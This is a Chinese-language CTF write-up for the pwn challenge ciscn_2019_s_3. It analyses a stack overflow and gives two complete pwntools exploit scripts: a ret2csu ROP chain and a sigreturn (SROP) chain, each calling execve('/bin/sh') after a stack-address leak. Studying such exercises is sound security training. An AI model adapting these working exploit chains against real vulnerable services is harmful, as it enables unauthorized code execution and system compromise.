欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

【pwn】ciscn_2019_s_3

程序员文章站 2022-03-27 20:42:40
...

这题是全国大学生信息安全竞赛的一道线下半决赛题目,好像是华南赛区?
例行检查。
【pwn】ciscn_2019_s_3分析程序。
vul函数
【pwn】ciscn_2019_s_3
两个系统调用,一个是sys_read,一个是sys_write,往栈上写数据(0x400),从栈上读数据(0x30),存在栈溢出。
还有一个gadget函数。
【pwn】ciscn_2019_s_3
有两个值得注意的地方。mov rax,0fh 以及mov rax 59。这两个gadget控制了rax的值,看看这两个是什么系统调用。
15 sys_rt_sigreturn
59 sys_execve

解法一
59号系统调用是execve那么就可以想办法控制寄存器的值调用execve("/bin/sh",0,0),注意在调用execve时,后面两个参数需要置0,由于需要控制rdx的值,所以选择使用通用gadget,__libc_csu_init。
【pwn】ciscn_2019_s_3
r13的值会给到rdx,让rbx=0,下面call的时候会变为call [r12],会去call r12指向位置的代码,我们可以调到后面的rop执行,所以需要知道栈的地址,我们获取/bin/sh字符串时也需要知道栈地址。这题刚好在write的时候0x28这个位置是栈上的值,于是通过计算可以得到栈上/bin/sh的地址,即rsp-0x10的值。

from pwn import *

io=process('pwn')
main=0x0004004ED
execv=0x04004E2
pop_rdi=0x4005a3
pop_rbx_rbp_r12_r13_r14_r15=0x40059A
mov_rdxr13_call=0x0400580 
sys=0x00400517

pl1='/bin/sh\x00'*2+p64(main)
io.send(pl1)
io.recv(0x20)
sh=u64(io.recv(8))-280
print(hex(sh))

pl2='/bin/sh\x00'*2+p64(pop_rbx_rbp_r12_r13_r14_r15)+p64(0)*2+p64(sh+0x50)+p64(0)*3
pl2+=p64(mov_rdxr13_call)+p64(execv)
pl2+=p64(pop_rdi)+p64(sh)+p64(sys)
io.send(pl2)

io.interactive()

解法2
15号系统调用sigreturn。这个系统调用是在终止信号恢复用户态环境时用的。那么我们在栈上伪造寄存器的值,那么恢复时就可将寄存器控制为我们想要的值。
具体可参考:Framing Signals—A Return to Portable Shellcode

from pwn import *

io=process('pwn')
context.binary='./pwn'
context.terminal = ['gnome-terminal','-x','sh','-c']

main=0x0004004ED
sigret=0x4004DA
sys=0x400517

pl1='/bin/sh\x00'*2+p64(main)
io.send(pl1)
io.recv(0x20)
sh=u64(io.recv(8))-280
print(hex(sh))

frame = SigreturnFrame()
frame.rax = constants.SYS_execve
frame.rdi = sh
frame.rsi = 0
frame.rdx = 0
frame.rip = sys

pl1='a'*16+p64(sigret)+p64(sys)+str(frame)

'''
def debug(addr):
    raw_input('debug:')
    gdb.attach(io, "b *" + addr)
debug('0x400514')
'''

pl2='/bin/sh\x00'*2+p64(sigret)+p64(sys)+str(frame)
io.send(pl2)

io.interactive()    
相关标签: pwn